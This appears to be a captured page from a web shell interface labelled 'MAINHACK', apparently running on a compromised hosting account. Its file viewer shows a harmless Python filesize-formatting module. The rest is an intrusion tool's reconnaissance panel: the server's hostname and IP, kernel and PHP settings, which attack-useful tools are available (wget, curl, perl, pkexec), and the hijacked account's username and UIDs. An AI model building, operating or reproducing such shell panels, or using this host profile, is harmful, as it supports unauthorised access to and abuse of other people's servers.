[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: filesize.py
File is not writable. Editing disabled.
#!/usr/bin/env python """Bits and bytes related humanization.""" from __future__ import annotations suffixes = { "decimal": (" kB", " MB", " GB", " TB", " PB", " EB", " ZB", " YB"), "binary": (" KiB", " MiB", " GiB", " TiB", " PiB", " EiB", " ZiB", " YiB"), "gnu": "KMGTPEZY", } def naturalsize( value: float | str, binary: bool = False, gnu: bool = False, format: str = "%.1f", ) -> str: """Format a number of bytes like a human readable filesize (e.g. 10 kB). By default, decimal suffixes (kB, MB) are used. Non-GNU modes are compatible with jinja2's `filesizeformat` filter. Examples: ```pycon >>> naturalsize(3000000) '3.0 MB' >>> naturalsize(300, False, True) '300B' >>> naturalsize(3000, False, True) '2.9K' >>> naturalsize(3000, False, True, "%.3f") '2.930K' >>> naturalsize(3000, True) '2.9 KiB' >>> naturalsize(10**28) '10000.0 YB' >>> naturalsize(-4096, True) '-4.0 KiB' ``` Args: value (int, float, str): Integer to convert. binary (bool): If `True`, uses binary suffixes (KiB, MiB) with base 2<sup>10</sup> instead of 10<sup>3</sup>. gnu (bool): If `True`, the binary argument is ignored and GNU-style (`ls -sh` style) prefixes are used (K, M) with the 2**10 definition. format (str): Custom formatter. Returns: str: Human readable representation of a filesize. """ if gnu: suffix = suffixes["gnu"] elif binary: suffix = suffixes["binary"] else: suffix = suffixes["decimal"] base = 1024 if (gnu or binary) else 1000 bytes_ = float(value) abs_bytes = abs(bytes_) if abs_bytes == 1 and not gnu: return "%d Byte" % bytes_ if abs_bytes < base and not gnu: return "%d Bytes" % bytes_ if abs_bytes < base and gnu: return "%dB" % bytes_ for i, s in enumerate(suffix): unit = base ** (i + 2) if abs_bytes < unit: break ret: str = format % (base * bytes_ / unit) + s return ret
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium171.web-hosting.com
Server IP: 162.0.209.115
PHP Version: 8.0.30
Server Software: LiteSpeed
System: Linux premium171.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 71.36 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: aircyknj
User ID (UID): 2056
Group ID (GID): 2052
Script Owner UID: 2056
Current Dir Owner: N/A